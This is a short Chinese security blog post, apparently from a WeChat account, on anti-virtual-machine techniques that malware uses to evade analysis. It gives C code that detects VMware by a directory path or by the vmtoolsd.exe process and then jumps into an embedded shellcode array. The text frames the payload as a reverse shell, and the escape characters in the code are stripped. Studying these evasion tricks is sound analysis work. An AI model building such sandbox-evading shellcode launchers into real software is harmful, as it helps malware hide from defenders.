扫一扫关注公众号,长期致力于安全研究
前言:本文主要讲解如何反虚拟机
在软件逆向,病毒分析等等,许多恶意程序为了自己不被调试,都运用了反虚拟机技术。当程序在虚拟机中则运行失败,甚至执行其它结果(PS:比如反弹个shell回去~~)
虚拟机一般有一个路径,如果这个路径存在,一般就是在虚拟机中
C:Program FilesVMware
char shellcode[] =
"xfcx68x6ax0ax38x1ex68x63x89xd1x4fx68x32x74x91x0c"
"x8bxf4x8dx7exf4x33xdbxb7x04x2bxe3x66xbbx33x32x53"
"x68x75x73x65x72x54x33xd2x64x8bx5ax30x8bx4bx0cx8b"
"x49x1cx8bx09x8bx69x08xadx3dx6ax0ax38x1ex75x05x95"
"xffx57xf8x95x60x8bx45x3cx8bx4cx05x78x03xcdx8bx59"
"x20x03xddx33xffx47x8bx34xbbx03xf5x99x0fxbex06x3a"
"xc4x74x08xc1xcax07x03xd0x46xebxf1x3bx54x24x1cx75"
"xe4x8bx59x24x03xddx66x8bx3cx7bx8bx59x1cx03xddx03"
"x2cxbbx95x5fxabx57x61x3dx6ax0ax38x1ex75xa9x33xdb"
"x53x68x77x65x73x74x68x66x61x69x6cx8bxc4x53x50x50"
"x53xffx57xfcx53xffx57xf8";
int _tmain(int argc, _TCHAR* argv[])
{
if (PathIsDirectoryW(L"C:\Program Files\VMware")){
__asm{
lea eax, shellcode;
push eax;
ret;
}
}
return 0;
}
在虚拟机中,常见的默认进程有vmware.exe或者vmtoolsd.exe等等,我们只需要找到最常见的进程名,来进行判断是否存在该进程名,如果存在就进行程序退出或者反弹shell。
完整代码如下:通过进程遍历,来查找进程名为vmtoolsd.exe的程序
DWORD ret = 0;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
BOOL bMore = Process32First(hProcessSnap, &pe32);
while(bMore)
{
if (strcmp(pe32.szExeFile, "vmtoolsd.exe")==0)
{
__asm{
lea eax,shellcode;
jmp eax;
}
return TRUE;
}
bMore = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
其实反虚拟机的手段是多之又多,本文只是列了两个很常见例子。
下方扫一下扫,即可关注
本文始发于微信公众号(安全族):反虚拟机技术之反弹shell
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论